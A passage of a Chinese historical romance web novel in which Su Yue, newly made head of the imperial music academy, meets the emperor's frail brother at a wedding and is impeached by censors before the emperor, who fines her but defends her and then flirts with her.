大名鼎鼎的辜家女郎,虽然很多人不曾见过她,但她的名声?早就在外了。因?为一眼能看清她的前程,所以众人对?她都格外热络。 皇帝的两位姑母拽着她,又喜又爱直打量,笑着夸赞:“好俊的女郎,穿上这身公服,真是巾帼不让须眉。娘子离了家乡,在上都一切都好?若有哪里为难的,只管来找我?们,都是自己?人,可不要羞于开口。” 苏月很不自在,陌生的客套,让她有些无所适从?,只能硬着头?皮虚与委蛇。 这时鲁国夫人不知从?哪里冒出来,上前同她打招呼,拉她入席落坐,亲亲热热地说:“辜娘子,好久不见,这一向可好啊?” 见到她,那股尴尬劲儿直冲天?灵盖,苏月愈发局促不安,厚着脸皮回话,“托夫人的福,这阵子很好。原还想去?您府上请安呢,可惜总也抽不出来空,还请见谅。” 鲁国夫人轻摇了下团扇,“我?才?该向娘子致歉,原先答应娘子的事,到底没有办成?,娘子不会因?此怪罪我?吧?” 苏月红了脸,鲁国夫人因?那件事去?找过太?后,太?后一盘问皇帝,小伎俩就穿帮了。自己?偷奸耍滑在前,怎么还能指望别人信守承诺呢。鲁国夫人后来没了消息,就是最好的回应,现在再提起这件事,让她恨不得挖个地洞钻下去?。 苏月为那件事,很真挚地向她致了欠,“我?骗了夫人,还请夫人体谅我?急于归家的心。” 鲁国夫人没想到她这么直率,甚是意外地牵了她的手,“自然、自然。娘子离家千里,想念父母亲人,本就情有可原,我?怎么能够不体谅呢。好在如今陛下将梨园交由娘子料理?,乐师们不再受人欺压,娘子也能自由行动了,时候一久,自然能适应上都的生活。” 苏月说是,“全赖陛下成?全,卑下定会潜心报效陛下,不辜负陛下厚望。” 鲁国夫人狡黠地眨眨眼,偏过头?轻声?在她耳边说:“要报效陛下,潜心经营梨园是一项,另一项更要紧,把以前断了的姻缘再续上,就是对?陛下最大的回报了。” 苏月不由干笑,“夫人打趣了,卑下微末,不敢作他想。”边说边端起杯子朝她举了举,“卑下敬夫人一杯吧,多谢夫人对?我?的关照。” 既然举杯,当然不能只敬鲁国夫人,在座的诸位都要意思意思。她目光游走,手里的杯盏屡屡轻抬,这东院里因?为都是权家人,并?不遵循男女不同桌的规矩。大家都是散坐,通共也就五六桌人,用一杯酒就能同所有人建立良好的关系。 不过很意外,在座的都是姑苏人,一圈看下来,居然一个都没见过。尤其其中有位年轻的郎君,约摸二十出头?的样子,双眸温润,如月亮落入了深泉。他向她望过来,目光专注而?和?善,只是脸色相较别人显得苍白,身形也单薄。所有人面前都放着酒爵,只有他手里握的是茶盏,可见身体不大好,连酒都喝不了。 苏月到现在才?知道,自己?是个重色的人,看见漂亮的郎君会移不开眼。尤其这种病弱的贵公子,无端有种莫名的吸引力,让人想一探究竟。 可惜视线在人家身上停留太久怕失礼,她只好强行移开,待和?大家共饮了一杯,才?又忍不住朝他望过去?。 这时他已?经坐正了身子,正与同桌的人说话,侧脸看上去?同样优异,大概感觉到有人看他,慢慢转过头?来。不知是不是因?为体弱的缘故,眨动眼睛的速度好像都比平常人慢一些,略一顿,轻轻浮起一个笑,那唇角的弧度似曾相识,竟和?权大一模一样。 一旁的鲁国夫人见他们互望,偏头?问:“小娘子可认得他?他是齐王,陛下的胞弟。” 苏月吃了一惊,因?为早前没有考虑过权家,对他家的境况和人口并不了解。 “我以为太后只生了陛下一个,没想到陛下还有同胞兄弟。” 鲁国夫人道:“不怪你不知道,齐王身体弱,一直在家静养,很少?在人多的场合露面。这回也是碍于和?新郎官交好,才?破例来喝喜酒的。早前陛下心疼他,想接他在宫中居住,他说于理?不合婉拒了,如今自己?一人住在恭敬坊的王府里。” “怎么是一个人?没有成?家吗?”苏月好奇地问。 鲁国夫人道:“大夫给?他诊治过,说他的身子不宜娶亲,这也是没法儿。齐王不能娶亲,陛下这些年南征北战,又耽误了亲事,太?后至今没有抱上孙子,难怪要着急。” 苏月终于能够理?解太?后的难处了。两个儿子一个体弱,另一个虽然身强体壮,但对?待女郎缺根筋。两下里都没娶上亲,可不要对?着好望山的女郎们直发愁吗。 “太?后可还有别的儿女?”打了这么久的交道,苏月终于对?他家产生了一点?兴趣。 鲁国夫人诧异道:“小娘子担任梨园使前,不是曾入选过好望山吗,怎的还与陛下相识不深的样子。太?后生了两儿一女,顶小的女儿幼年病故了,只有陛 下与齐王长大成?人。前阵子立国,陛下追封了长公主,若那位妹妹还活着,应当与你差不多年纪。” 所以太?后才?对?找儿媳这件事如此孜孜不倦,大约也是为了安慰自己?失去?女儿的痛苦吧。 这里正说话,那厢新郎官进来敬酒了,外面起哄,强给?他灌酒,东院里都是自己?人,每桌只消敬上一杯,大家并?不强求他。苏月倒很喜欢权家这种骨肉至亲,真心以待的感觉,和?自家有点?像。就是尽量周全,不忍让新郎官新婚夜弄得酩酊大醉,一怕慢待新妇,二也怕伤身。 新郎来这桌举杯了,嘴里敬谢不止,阿叔阿婶、阿兄阿姐叫了一圈。叫到苏月的时候,发现这位并?不相熟,一时噎住了。 大家便笑着引荐,“这是梨园使大人,来贺你新婚之喜。” 这么一说,新郎官立刻了然,十分郑重地单敬了她一杯,“承蒙厚爱,多谢多谢。” 苏月实则很尴尬,这不亲不故的,已?经被权家人认了个遍。如此骑虎难下,将来不嫁进权家,好像会在上都寸步难行。 赶紧逃吧,贺过了人家新婚,已?然尽了心意了,苏月向同桌的皇亲国戚们致歉,“乐工们还在奏演,我?若不在边上坐镇,实在有些不放心。卑下就此告退了,请贵人们见谅。” 她有要务在身,自然不便强留,大家表示理?解,直说差事要紧,放她离开了。 苏月临走向众人伏伏身,目光扫过齐王时,他那种谦和?温软的笑意像滴落在宣纸上的水墨,以惊人之势晕染。苏月从?东院退出来的时候还在想,要是权大能像他一样,何愁彼此不能和?平共处啊。明明是一母所生,为什么阿弟如此守礼温柔,而?阿兄的嘴却像淬了毒,怼谁谁死。 唉,感慨良多,感慨不过来,索性不去?想了。婚宴后来进行得很顺利,洞房闹过了,无非就是吃吃喝喝,聚在一起闲谈海侃。 徐国公来与苏月攀谈,“过几日家中有宴饮,到时候还请娘子多多关照。” 苏月说好,“必定命太?乐丞为国公挑选上佳的乐师,请国公放心。” 反正今日彻底与上都的权贵们打了一通交道,人也差不多认全了,所有人表面都很谦卑,当然也有看不惯女子掌管梨园的。 一名官员不知是什么来历,大约是言官那一类吧,借着大义给?她上眼药,“娘子深受皇恩,越得宠信,肩上责任越重大。自己?坦荡之余,也须良言劝谏陛下。” 苏月笑了笑,“陛下独断乾坤,朝中臣僚各司其职,管好梨园就是我?最大的责任。劝谏是御史与言官的差事,若被我?干了,那大人干什么?” 两句话堵住了对?方的嘴,后来就无人再来自讨没趣了。 这场婚宴持续的时间较长,总得到亥正前后才?能结束,苏月在前院徘徊了很久,酒肉的气味冲人,就想避开这里,躲到清净的地方去?。好在她的马车在巷道里停着,既然眼下没什么事,可以回车上坐一会儿,等待宴席散场。 于是顺着抄手游廊入跨院,那地方先前用以安置乐工,随墙就有一扇小门,可以直通府外。循着来时的路往外走,将要出门的时候,看见廊上站了三个人,是闯入礼堂的那位四娘子,正拽住齐王的衣袖不放。 边上的傅姆一再致歉:“对?不住大王了,奴婢实在拦不住娘子……早前也不这样啊,想是今日人多,惊了我?们娘子……” 齐王说不碍的,好言安抚女郎,“洛儿,你还没用饭吧?今日的婚宴上,有一道含缘饼极好吃,让她们给?你备上,送进你房里好么?” 头?脑不清楚的人,做什么都极执拗,手上拽得愈发紧了,颠三倒四地说:“阿兄,你今日成?婚……我?的蝉蚕香倒进鱼缸里,没有了。” 傅姆愁眉苦脸解释,“小娘子不让捞,缸里的鱼都给?熏死了,鱼一死,小娘子又哭了半晌。” 齐王明白了,对?四娘说:“阿兄明日让人再给?你送几尾鱼来,还有一大盒蝉蚕香,好不好?” 四娘这才?慢慢松开手,“明日一早吗?” 齐王说是,“一睁眼就能看到。” 四娘子又开始向他比划,说鱼饿了,要吃食,她把香掰断了喂鱼,鱼吃了就能透体生香。 这位齐王可能是苏月见过的,最有耐心的男子了,他的语调里没有半分不耐烦,尽力宽慰着,“阿兄知道洛儿是一片好心,不是有意的。缸里的鱼有它们专吃的口粮,下回若觉得它们饿了,让人取鱼食来,再不喂蝉蚕香了,好不好?” 四娘子方才?委屈地点?头?,又磨蹭了会儿,才?被傅姆拉走了。 齐王看着远去?的身影,轻轻叹了口气,回身见不远处的苏月正望着自己?,便腼腆地笑了笑,“辜娘子要出府吗?” 一种女郎面对?年轻郎君的羞涩,隐约爬上了苏月心头?,她嗳了声?,“正想出去?,遇见了大王与四娘子。” 齐王转头?朝四娘离开的方向望了眼,“我?们是自小一起长大的,我?与她阿兄交好,与她往来也多。以前在姑苏的时候,每常聚在一起,但不知什么缘故,她忽然病了,浑浑噩噩认不得人,只记得父母阿兄,还有我?。” 苏月点?了点?头?,“我?听代侯夫人提过些许,再寻好大夫吧,说不定能治好。” 齐王记着她要出府,也不多言了,往边上让了让,牵袖向外比手。 苏月欠欠身,提袍从?门上出去?,外面的巷道里今日也掌着灯,府前府后一片通明。 回头?一顾,他跟在身后出来了,见她疑惑,莞尔道:“我?也正要回去?呢。夜深了,娘子要在车上等候吗?一个人恐怕不便,我?叫个人出来陪同吧。” 苏月说不必,“上都太?平,夜不闭户,夜色这么好,有人陪同反倒不自在。” 齐王听了,垂眼看她,简直像在认亲,仔细打量她两眼,又慢慢笑了。 “我?们两家险些结亲。我?听阿娘说起过,要为阿兄向贵府上下聘,如果当初贵府上应允了,我?今日要唤娘子一声?阿嫂呢。” 苏月忙摆手,“大王说笑,以前的事,不去?提他了。” “想来以后还有许多机会,能再见娘子。”他和?声?道,“我?叫权弈,博弈的弈,娘子直呼我?的名字就是了。” 他的吐字和?语调如春风化雨,也许是因?为身体不好,中气弱,减轻了年轻男子的气盛昂扬。听他说话也好,与他相处也好,都透出一股舒心的感觉来。 但苏月还是尊礼说不敢,掖着手道:“时候不早,卑下就不耽误大王了,大王请回吧。” 齐王颔首,退后两步向她拱拱手。家令上前来搀扶,他转身朝王府的马车走去?,衣袂带起一片药香。 苏月目送他登车离开,心下不住嗟叹,世上竟有这么美好的男子,权珩的柔情,八成?全长到他身上去?了。不过也不能因?此挑剔皇帝陛下,头?上长角才?能做帝王,要是太?过柔软,早被朝堂上那些厉害的官员给?吃了。 回身登上马车,她在车厢里打了会儿盹,过半个时辰再进去?,正好赶上喜宴散场。 代侯夫妇向他们致谢,亲自把乐工们送出府门。以前梨园子弟何尝有过这样的好境遇,大家抱着乐器还礼,回去?的路上都喜滋滋地,愉快地对?苏月说:“多亏了大娘子,我?们如今活出人样了。” 袖里的红布囊掏出来查看,啧啧惊叹:“代侯家真大方,多些这样的邀约,将来出去?的时候能攒下不少?呢。” 总之今日圆满,大家也别出了一点?苗头?,跟着辜娘子一同出演,必定能得不少?恩赏。苏月一时间成?了大家哄抢的红人,太?乐丞领队已?经不吃香了,辜娘子出马才?能保证盆满钵满。 人一旦被哄抬,就有些飘飘然。苏月觉得自己?终于有了些价值,至少?梨园中的一切都在向好,她没有辜负所有人的期望。 然而?这种快乐,并?没能持续太?久,这日正和?太?乐令等人商议中秋大宴的安排,门上有人进来,高大的身影挡住了槛前的日光。 大家转头?看,发现是个锦衣的内监,太?乐令等人没有见过他,但苏月却认得,是乾阳殿的内侍总管万里。 来的是万里,不是国用,这让她有些忐忑,站起身道:“万总管来了,可是陛下有吩咐?” 万里倒还是一副平和?面貌,呵腰道:“陛下召见梨园使娘子,有些事要询问娘子,请娘子即刻随卑下入乾阳殿吧。” 第 48 章【VIP】 第48章 第 48 章 太乐令等人都有些惶然, 脚下踟蹰着,把?她送到门前。 苏月心里虽也没底,但仍旧安抚他们?, “你们?忙你们?的?, 我去去就回, 不会?出什么事的?。” 嘴上?这?么说,心里还是很忐忑。万里来传令, 走的?是青龙直道,不是她的?专属巷道, 可见这?回不是权家?大郎来找茬, 是大梁皇帝正?式召见。 她一路走,一路仔细思量,是不是自己哪里做错了?, 引得他震怒了?。这?一向她都谨守本分, 从未做过任何?违律乱纪的?事啊。难道是前几日应邀去代?侯府上?没有表现好?, 权家?的?族亲们?状告到了?皇帝面前,他打算和她秋后算账了?吗? 唉, 果真这?俸禄不好?挣,拿人的?手短,她开始担心皇帝会?听信谗言, 削她的?梨园使之职了?。 扭头看看万里, 她打算从他入手, 打听些消息,便忡忡唤了?声万总管,“陛下为何?会?派您前来?如此郑重其事, 难道是我犯了?大错吗?” 对于?这?位小娘子,御前的?总管深知她的?分量, 很想同她交底,但乾阳殿有乾阳殿的?规矩,他也只能稍稍透露一二,先稳一稳她的?心绪,“娘子稍安勿躁,陛下定?不会?为难娘子的?。不过您如今掌管梨园,虽不在朝,却惹人侧目,难免会?被针对、被弹劾……” 苏月惊了?,“有人弹劾我?为什么弹劾我?” 万里支吾了?下,为难道:“卑下不便向娘子透露太多,否则坏了?御前的?规矩,卑下承担不起这?罪责。” 苏月没有办法,人家?都这?么说了?,总不能强逼人家?。反正?已经进?了?玄武门,没有退缩的?余地了?,不管是好?是坏,先面过圣再说吧。 于?是快步赶到乾阳殿,进?门见皇帝坐在御座上?,两掖站着三位臣僚,其中一人,就是那天在代?侯府上?找她不痛快的?。 三堂会?审的?架势摆开了?,想必没什么好?事,毕竟她这?样的?境况,是没有资格在正?式场合入殿参拜的?。 皇帝呢,面色很凝重,抬眼看看她,眼神无情无绪,仿佛和她不熟似的?。 苏月不敢含糊,忙上?前行礼,“卑下辜苏月,叩请陛下圣安。” 皇帝没有理她,调转视线看向底下站立的?人,“陈御史,人来了?,梨园的?失当之处,你亲口与梨园使说吧。” 那位陈御史果真毫不客气,转身对苏月道:“辜娘子掌管梨园,陈某坐镇御史台,娘子为弘扬礼乐,和谐内外,而陈某肩负纠察官员错漏,肃正?朝廷纲纪的?重任。先与娘子致个歉,陈某是秉公办事,与娘子并无私怨。陈某弹劾的?是,梨园乐工仗着陛下垂怜坐抬身价,狂妄自大。梨园本是为承担国家?庆典,及朝中官员私宅祭祀婚丧设立的?,如何?现在竟出现了?所谓的?大宅谱,按着放赏数额的?高低,设定?了?赴演的?门槛。出价高者,优先排选,出价低者无人肯赴宴,如此一来大大加重了?设宴的?成本,许多府邸为了?脸面,硬着头皮提高放赏数额,赴演乐工多者,一次邀约的?挑费就在四五十两之巨,赶得上?三品官员半年的?俸禄。请问辜娘子,这?大梁的?梨园如今可是被当成了?买卖在经营?若是,只要娘子一句话,陈某再不多言,立时拜别陛下,回家?等着降罪受罚。” 苏月听完了?他的?话,顿时羞愧难当。其实?她并非完全不知情,早就听乐工们?私下议论?,说这?家?赏钱多,那家?抠门。原本觉得乐工辛苦,那些下帖的?门第给些赏钱也不为过,却没想到事态慢慢发展,变得不受她控制了?。 尤其御史台斥责梨园成了?盈利的?工具,暗指她把?生意场上?那些手段搬到了?梨园,不就是在讥嘲她商贾出身吗。她心里难过,又理屈词穷,只得向皇帝揖手,闷声道:“卑下管束不力,令园中风气败坏,邪念滋生,甘愿受罚,请陛下降罪。” 皇帝必定?高高举起,轻轻落下,这?点御史台早就有预料,陈御史便赶在皇帝之前发了?声,“请陛下切勿徇私。大梁方建立,纲纪是否严明,全看今朝。臣等知道,辜娘子与陛下颇有渊源,陛下也是因此前情,才破例将梨园交由一名女子来掌管。可臣以为,一国之君偏私偏爱应当只在内闱,公然将私情带至朝堂上?,有公私不分之嫌。请陛下收回辜娘子梨园使一职,另委派素有历练的?太常寺官员担任,如此才能拨乱反正?。辜娘子这?么长时间的?游戏,想来也足够了?,还是回到掖庭内,做些女郎该做的?事吧。” 果然言官的?嘴,是杀人于?无形的?刀,句句都能剔到人骨头上,能将你的?心剜个洞。 苏月先前的?内疚,因他的?这?番话变成了?怒火,愤懑道:“陈御史饱读诗书?,原来就是为了?在朝堂上?贬低女子吗?什么叫拨乱反正??乐工抬高赏银固然有错,但这?梨园难道不是靠着半数女子支撑起来的?吗?陛下任命我为梨园使,我自问兢兢业业,不敢有半分懈怠,月余令曲目增添十三,恢复声诗、变文、古琴乐,我哪一桩是在游戏,陛下又何?时公私不分了?,还请陈御史赐教。” 皇帝的目光划过了陈御史的面门,慢悠悠一笑,“看来陈大人对朕颇有微词啊,大梁立国之初就有国策,朝中官员的任命一不看师从,二不看门第,向来是良才善用,能者居之。上?次查办盛望,牵扯出了梨园中的肮脏交易,朕便打定?主意要改变现状,不令这?些乐工们?再受人欺辱,沦为权贵的?玩物。朕问你们?,什么人深知道乐人之苦?是太常寺那些坐在官衙中的官员吗?”他缓缓摇头,“不是,是同样身处水深火热中的?乐工。乐人掌管梨园和乐府,都是理所当然的?,因为他们懂得什么是管色谱,什么是六十调,懂得如何?将音声发扬光大,而非仅作取悦权贵的靡靡之音。” 一番慷慨陈词,御史台的?官员们?被说得面面相觑,难以反驳。皇帝顿了顿又道:“在朝廷为官,最忌知小礼而无大义,梨园中有不正?之风,下令严加整改就是了?,如何?牵扯出那么多闲言,又是公私不分,又是贬损女子?或许是朕浅见了,朕以为如今的?梨园,比之开国之时强盛了?许多,梨园使功不可没。然乐工们?心浮气躁,唯利是图,亦是梨园使的?罪过。朕素来赏罚分明,今日的事辜大人难辞其咎,就罚半年俸禄,责令纠正?吧。” 金口玉言下,御史台的人彻底被压制住了。陛下虽然光明正?大徇私,但言辞有大格局。格局一大,就占了?有利形势,你若再不依不饶,那就真成了知小礼而无大义了?。 苏月见那几人没有异议,方才俯身领命,“卑下知错,甘愿受罚。” 而皇帝适时纠正?了?她,“辜大人既然担任梨园使,就是朝廷命官。从今往后不要再自称卑下了?,要自称臣,记住了?吗?” 御史台的?人顿时傻了?眼,这?算是弄巧成拙了?吗?原先辜娘子管理梨园只有实?权没有品阶,这?么颠来倒去一番,竟成了?“朝廷命官”。要是继续弹劾下去,明日怕不是要登上?朝堂,参加朝会?了?吧! 陈御史等三人悻悻然,苏月的?鼻子直发酸,也说不清心里的?感受,只觉酸甜苦辣都搅合在一起,堵得人心口生疼。 皇帝长舒一口气,复又换了?个温和的?语调,“辜大人掌管梨园方满一月,定?会?有许多不足,小惩大诫,慢慢改正?,诸位应当放开心胸给她些余地,容她成长。今日的?事,就到此为止吧,朕已做出了?裁决,就不再多议了?。朝廷既要扶植梨园讴歌盛世,也要仰赖诸位直陈时弊。朕盼朝堂内外一团和气,若因梨园使是女郎,就断言她不能胜任,朕觉得这?是成见,不该从我大梁御史台的?官员们?口中说出来。” 陈御史等人也懂得审时度势,到了?这?种时候,就不要继续不依不饶叫板了?,遂转变了?话风道:“臣等过于?急切了?,言辞激愤无礼,请陛下恕罪。” 当然原则是要坚守的?,只向陛下认错,绝不向女郎低头。三位御史台官员俯身长揖下去,没有多看苏月一眼,却行退出了?大殿。 皇帝见人都散了?,方才转头望向苏月,“朕记得曾经告诫过你,不要意气用事,被人情绑缚住手脚,你只求维护乐工的?尊严,却忘了?同时应当善加约束他们?。人的?贪欲就是如此,得陇望蜀,好?了?伤疤忘了?疼,弄得如今规矩大乱,份内的?职责也讲求价高者得。他们?贪财,你就遭殃,被人一状告到朕跟前来,要不是有朕托底,你这?梨园使可当不成了?。” 苏月也有她的?不平,“御史台那帮人只为权贵鸣不平,当初乐工们?遭受欺凌时,怎么不见他们?站出来,为乐工们?讨个公道?现在大义凛然,百般斥责乐工们?,分明就是拜高踩低,我没有眼睛瞧他们?!” 皇帝直蹙眉,“你这?是强词夺理,咱们?就事论?事,不该一桩归一桩吗?失德的?王公大臣朕会?惩处,梨园子弟坐地起价,难道不是你的?错?你身为梨园使,只知得益不知尽责,你还同朕闹起脾气来?” 苏月被他说得哑口无言,用力咬着唇转过身,不再面对他了?。那纤瘦的?肩膀和身腰支撑着板正?的?公服,看上?去有些悲凉凄惨。 皇帝怔忡望着她的?背影,她低着头,用沉默对抗他。他心烦意乱,气闷道:“御史台弹劾你,朕不得不将你召来,当面解决此事。朕不是已经向着你了?吗,那些话你都没听见吗,还要朕怎么样?” 可她仍旧不应,正?在他恼火的?时候,忽然见她肩头耸动,抽搭起来。他一时慌了?神,骇然望向一旁的?万里,万里比他更惶恐,二话不说竟行礼退下了?。 这?下御座是坐不成了?,要重振帝王威仪的?计划再一次宣告失败,忙下来劝慰,“唉,你哭什么……朕没有要怪你的?意思,你怎么还委屈上?了?……” 苏月自小是蜜罐子里长大的?,就算进?了?梨园,也没有人对她疾言厉色过。她一直被保护得很好?,但这?次御史台的?弹劾,将她强拽进?了?一个陌生的?世界里。这?里没有人体谅她还年轻,没有人在乎她是否在一步步摸索,言官们?只想对她的?经验就事论?事,对她身为女子管理梨园百般讥嘲,然后直剌剌地将他们?的?轻蔑,扔在她脸上?。 她越想越伤心,眼泪越流越多,终于?放声大哭,哭声瞬间充斥了?整个乾阳殿。 皇帝这?辈子没有应付过嚎啕的?女郎,忽来的?变故让他手忙脚乱。他围着她团团转,急道:“别哭了?……别哭了?吧!朕不是帮着你回敬了?那些言官吗,他们?口不择言,朕也很恼火……你为什么要哭?是哭他们?欺负你,还是哭朕没有保护好?你?” 他卷着袖子要来替她擦泪,被她仰头避开了?。她原本就生得白净,这?一哭鼻尖泛红,一双眼睛蓄满了?泪,简直受了?天大的?委屈。他立刻开始反省,一定?是自己做错了?,朝堂上?日日直面风雨,早就让他习以为常,可她是女郎,怎么能让她经受那些言官的?口诛笔伐。所以他一开始就不该召见她,直接替她挡煞就是了?。大热的?天,让她赶到乾阳殿来做什么呢,夜里自己去官舍找她,同她晓以利害,这?事不就轻轻揭过了?吗。 他立刻退了?百步,“罢,以后再有人弹劾你,朕不会?传召你了?。朕只是觉得应当让你懂得官场上?的?利害,权力是柄双刃剑,你不能只享受它带来的?便利,不去正?视纵权的?后果。好?了?,别哭了?,算朕求你。这?事传到太后耳朵里,又要怪朕不会?讨女郎欢心……朕已经很努力了?。” 他要来替她抹脸,她把?他的?手推开了?,往后退了?两步直犯倔,“男女授受不亲,你别想趁我失态,就对我动手动脚。” 皇帝说天地良心,“你可真是狗咬吕洞宾。” 然而她又要咧嘴,他脑子一热,脱口道:“好?了?好?了?,到朕怀里来吧,朕抱一抱,就能疗愈你的?伤心了?。” 这?是灵丹妙药,立刻让苏月止住了?哭。她鄙夷地侧目乜他,“陛下趁人之危的?手段可说炉火纯青,把?我传来看清外人的?险恶,再趁机对我施以援手,让我对你感激涕零。时机一旦成熟就想轻薄我,以为我不会?反抗,是不是?” 皇帝一脸无辜,“这?是什么话,朕何?时这?样想过!” 嘴上?否认,心底里却对她万分宾服,为什么他的?小心思轻而易举就被她识破了?,他先前确实?是这?么谋划的?。只是没想到那些人太过猖狂,对待女郎没有半分君子风度,狠狠伤了?她的?自尊。他这?时后悔已经来不及了?,只好?极尽周全,张开双臂,等着她投怀送抱。 不是说女郎脆弱的?时候,会?急于?寻找安慰吗,为什么她没有? 皇帝有些失望,果真女子太自强了?,对男人来说也是一种负担。 苏月和他关注的?重点,从来不在一个层面上?。他还在遗憾她不够脆弱,她却在思量下次应当怎么应对弹劾。 她有她的?主张,执拗地说,“我偏要直面弹劾。有错我自会?认罚,但我若是没错,也不能让人平白构陷我。” 听得皇帝很欣慰,不是个怕事的?女郎,初见母仪天下的?风范了?。 于?是微笑着颔首,“也好?,不挨骂长不大,多被弹劾几次,就知道世道险恶了?。” 可这?也不是安慰人的?好?话,苏月气恼地说:“原先我在姑苏,世道也不算太险恶,如今一脚踏入上?都,看见的?都是丑恶。” 皇帝些微不悦,“怎么都是丑恶,朕对你还不够好?吗?太后对你还不够关爱吗?就算上?都是个泥潭,朕也是绕城的?清泉,你怎么只念旧恶不知感恩。今日要不是朕,你早就被他们?生吞活剥了?,知不知道!” 苏月被他一通数落,气焰终于?矮了?几分,窝窝囊囊道:“卑下被气冲了?头,口不择言了?。虽然卑下也不知道您算不算清泉,但对卑下来说您宽仁护短,确实?是卑下的?靠山。” 皇帝又更正?她一遍,“说了?别自称卑下,如此自降身份,拉低了?朕的?眼光。” 一句话里包涵了?陛下百转千回的?心思,那份欲语还休,甚至看她的?目光都带着轻轻的?幽怨,惊得苏月慌忙调开了?视线。 “你为何?不看朕?”皇帝又不满,“你以为今日吃了?亏,实?则是赚了?,往后朝堂内外,谁敢不认你是朝廷命官?” 话虽这?样说,但苏月回想起来就心痛欲死,“我被罚了?半年俸禄,前几日才刚拿第一回月俸,马上?就倒欠朝廷四十两……快别说了?,说得我心如刀绞,不想活了?。” 罚俸半年而已,真的?有这?么严重吗?皇帝说:“你也是苏州富户出身,四十两就要死要活,你的?命未免太不值钱了?。”想了?想,大手一挥,“你的?俸禄,少府照旧逐月发放,别死了?,好?好?活着吧。” 苏月这?才略感舒心,舒心之后就有闲情来检讨自己的?过失了?,便绞着手指说:“臣没能约束好?乐工,遗漏了?梨园的?规章,都是臣的?错。请陛下放心,等我回去,一定?着力整顿此事,给陛下和朝廷一个交代?。” 皇帝说好?,“有错不怕,只要受教改进?,你依旧是称职的?梨园使。朕对你寄予厚望,以前这?样说,现在也还是这?样说。他们?觉得女郎治理不了?梨园,朕半分也不认同,朕觉得你可以,并且可以治理得极好?。因为就算你不行,还有朕,朕在后面替你托着,你什么都不用怕。” 这?是暖心的?安慰,虽然还是一样不中听,但至少给了?她莫大的?底气。 皇帝见她舒展开了?眉眼,自己也很欢喜,轻松地问她:“前几日去代?侯府上?喝喜酒了??场面热闹么?可见到权家?的?族亲?” 苏月点头,“代?侯夫人引我见了?许多人,我与鲁国夫人坐一桌。”说着想起了?权弈,追捧式地说,“我还见到了?齐王,齐王真是我见过的?,最美好?的?男子了?。他那么温柔,那么知礼,说话的?时候轻声细语,像春日的?甘霖。还有他的?身形与举手投足,看上?去道骨仙风,真是天上?有地下无。”边说边打量了?面前的?人两眼,嘀咕起来,“据说陛下与他是一母的?同胞,你们?怎么一点也不像,多奇怪啊…… 吃自己兄弟的?醋,听上?去有点不可思议,但皇帝就是吃了?,且吃得一点不隐藏。 “你有没有想过,道骨仙风是因为太瘦?”他拉着脸道,“哪天吃胖了?,他就仙不起来了?。再者朕劝你自重,和阿兄议过亲,眼睛不能多看小郎一眼。兄弟两个你都爱,会?挨天打雷劈的?。” 第 49 章【VIP】 第49章 第 49 章 简直太过分?了, 她究竟是什么眼神?,竟觉得病弱的男子有仙气。若是去问权弈,他也不希望自己得阿嫂这样的评价吧。 苏月则认为?他脸皮厚得惊人?, 什么兄弟两个她都爱, 她明明一个也没爱, 怎么就和爱扯上了关系。还?有与阿兄议过亲,就不能看阿弟, 这是哪里来的破规矩?他竟还?说齐王是“小?郎”,小?郎是什么, 小?叔子啊。自己和他的婚事又没成, 齐王算哪门子的小?叔子! 他该不会以为?只要?媒人?上过门,就算私定终身了吧?不过以权大对婚姻的理解来说,还?真?有这种可能。 “陛下, 您究竟打算吃我多少?回豆腐, 才能觉得回了本??”她翻着眼说, “我是好好的闺阁女郎……” 皇帝听?得笑?了,“什么闺阁女郎, 闺阁女郎能出来做官?你是朕亲封的梨园使,由古至今第一位任梨园使的女郎。你收下了朕这么大个梨园,难道不是对朕有意??若换了一般人?要?送你金银, 你收是不收?” 敢情梨园成了他的聘礼?他事先也没说明啊。 苏月为?难地辩解, “账不是这么算的, 陛下。梨园交到我手上,我辛苦操持,挣您的月俸, 没有将梨园据为?己有,也没有不劳而获, 每日呕心沥血,是在为?您奔忙啊。早前不是您说的,要?扶植梨园,但政务太多忙不过来,让我给您帮忙吗。明明是您托我办事,如今怎么倒打一耙,我累死累活还?要?受言官弹劾,天底下哪有这么憋屈的聘礼!” 皇帝虎了脸,“也就是说,你还?是对朕无意??辜娘子,你可不要?欺人?太甚。” “这怎么还?牵扯上欺人?了呢。”苏月蹙起眉,笑?得很无奈,“臣只是觉得颇为?冤枉而已。” 皇帝沉默着凝视她半晌,忽然?叫了声国用,“备笔墨。” 国用忙从廊上进来,铺开宣纸,往砚台上舀水研磨。 苏月迟疑地跟过去,“您要?做什么?” 皇帝提笔道:“先前陈御史不是问你,可是把梨园当做买卖经营,朕要?告诉他,他说对了。等朕写个文书?,从今往后梨园就是你的,国宴祭祀要?用礼乐,须得向你付钱,王公大臣府上婚丧嫁娶要?用乐工,也得给你付钱,这样你就无话可说了。” 国用呆滞地抬眼看看苏月,苏月吓得头皮都麻了,慌忙上前阻止,“您再多写一个字,臣就给您跪下了。” 皇帝自然?知道这种事不可行,就算彼此再要?好,梨园也不能归到私账上。可他就是要?坐实谣言,自己以梨园为?聘下了定,她既然?接受就不能三心二意?,这是做人?基本?的操守。 “你还?觉得权弈道骨仙风,惊为?天人?吗?”他转头问她,“兔子不吃窝边草,你知道自己 做错了吗?” 世上竟有这种人?,蛮不讲理地打断别?人?的臆想,她夸了齐王一句,就成了他口中的吃窝边草。 可他两眼灼灼,问得十分?认真?,她竟有些不知怎么反抗,延捱了半晌道:“我错了,我再不觉得齐王比陛下好看了。” 皇帝的脸拉得更长了,“你还?这样觉得过?” 苏月支吾:“我的眼睛骗不了人?,可不就是这么觉得……”见?他气不打一处来,很担心他会伤身,忙压了压手,“好好好,陛下与齐王都美。我那日是第一次见?齐王,很新鲜罢了。” 皇帝怅然?颔首,“朕懂了,你见?朕太多,不新鲜了,所以觉得别?人?更好,你这个喜新厌旧的人?!” 多严重的指控啊,不过虽然?让他伤心,却好像是事实。 苏月难堪地咧嘴,“多见?几次就不新鲜了……中秋的大宴上,齐王应当会现身吧?我听?鲁国夫人?说他身子太弱,不能娶亲,好可惜啊。” 皇帝固然?一心捍卫自己的地位,但对于这位阿弟,还?是十分?疼爱的,“他自小?身体不好,别?人?琢磨吃什么好菜,他只能考虑吃什么药。这些年朕在外征战,每常听?说哪里有神?医,就想尽办法把人?找到,送回姑苏去。可惜看了很多大夫,没法根治他的病,都说能保住性命就不错了。娶亲这等伤元气的大事他干不了,所以太后将希望寄于朕一身,权家血脉的延续都得靠朕,你知道吧?” 苏月迟迟应着,“陛下能者多劳。” 